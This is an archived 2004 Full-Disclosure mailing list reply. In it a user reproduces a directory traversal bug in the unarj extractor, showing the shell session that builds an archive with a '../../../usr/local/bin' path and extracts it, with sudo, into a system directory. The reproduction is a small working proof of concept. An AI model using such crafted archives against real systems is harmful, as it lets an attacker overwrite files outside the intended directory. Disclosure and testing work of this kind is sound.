Full Disclosure mailing list archives
Re: unarj dir-transversal bug (../../../..)
From: Chris Umphress <umphress () gmail com>
Date: Mon, 11 Oct 2004 12:50:20 -0700
http://www.google.com/search?q=%22directory+traversal%22&meta= doubles
I know what a directory traversal is. I did a little test run of this "bug." For sanitary reasons, I did not install arj when I compiled it. It was merely moved to ~/test. Here is what I've done to test what you are saying: ---------------<snip>---------------- <window #1> root@chris:/usr/local/bin# touch test.txt root@chris:/usr/local/bin# chown root.root test.txt <window #2> chris@chris:~/test$ arj a test.arj ../../../usr/local/bin/test.txt ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia. [11 Oct 2004] Creating archive : test.arj Adding ../../../usr/local/bin/test.txt 100.0% 1 file(s) <window #1> root@chris:/usr/local/bin# rm -rf test.txt <window #2> chris@chris:~/test$ unarj x test.arj UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung Processing archive: test.arj Archive date : 2012-11-10 27:44:04 Can't open ../../usr/local/bin/test.txt 0 file(s) Found 1 error(s)! chris@chris:~/test$ cd .. chris@chris:~$ unarj x test/test.arj UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung Processing archive: test/test.arj Archive date : 2012-11-10 27:44:04 Can't open ../../usr/local/bin/test.txt 0 file(s) Found 1 error(s)! chris@chris:~$ sudo unarj x test/test.arj UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung Processing archive: test/test.arj Archive date : 2012-11-10 27:44:04 Extracting ../../usr/local/bin/test.txt CRC OK 1 file(s) <window #1> root@chris:/usr/local/bin# ls -l test.txt -rw-r--r-- 1 root root 13 2012-11-11 02:42 test.txt -------------------------------------------- Apart from it removing one "../" from the filename I gave it, it worked exactly as I expected. -- Chris -- Chris Umphres <http://daga.dyndns.org/> _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- unarj dir-transversal bug (../../../..) doubles (Oct 11)
- Re: unarj dir-transversal bug (../../../..) Chris Umphress (Oct 11)
- <Possible follow-ups>
- Re: unarj dir-transversal bug (../../../..) doubles (Oct 11)
- Re: unarj dir-transversal bug (../../../..) Chris Umphress (Oct 11)
- Re: unarj dir-transversal bug (../../../..) evilninja (Oct 11)
- Re: unarj dir-transversal bug (../../../..) Chris Umphress (Oct 11)
- Re: unarj dir-transversal bug (../../../..) evilninja (Oct 12)
- Re: unarj dir-transversal bug (../../../..) Chris Umphress (Oct 12)
- Re: unarj dir-transversal bug (../../../..) Christian Kujau (Oct 12)
- Re: unarj dir-transversal bug (../../../..) Chris Umphress (Oct 11)
- Re: unarj dir-transversal bug (../../../..) evilninja (Oct 12)
- Re: unarj dir-transversal bug (../../../..) Cedric Blancher (Oct 12)
- Re: [OT] unarj dir-transversal bug (../../../..) evilninja (Oct 12)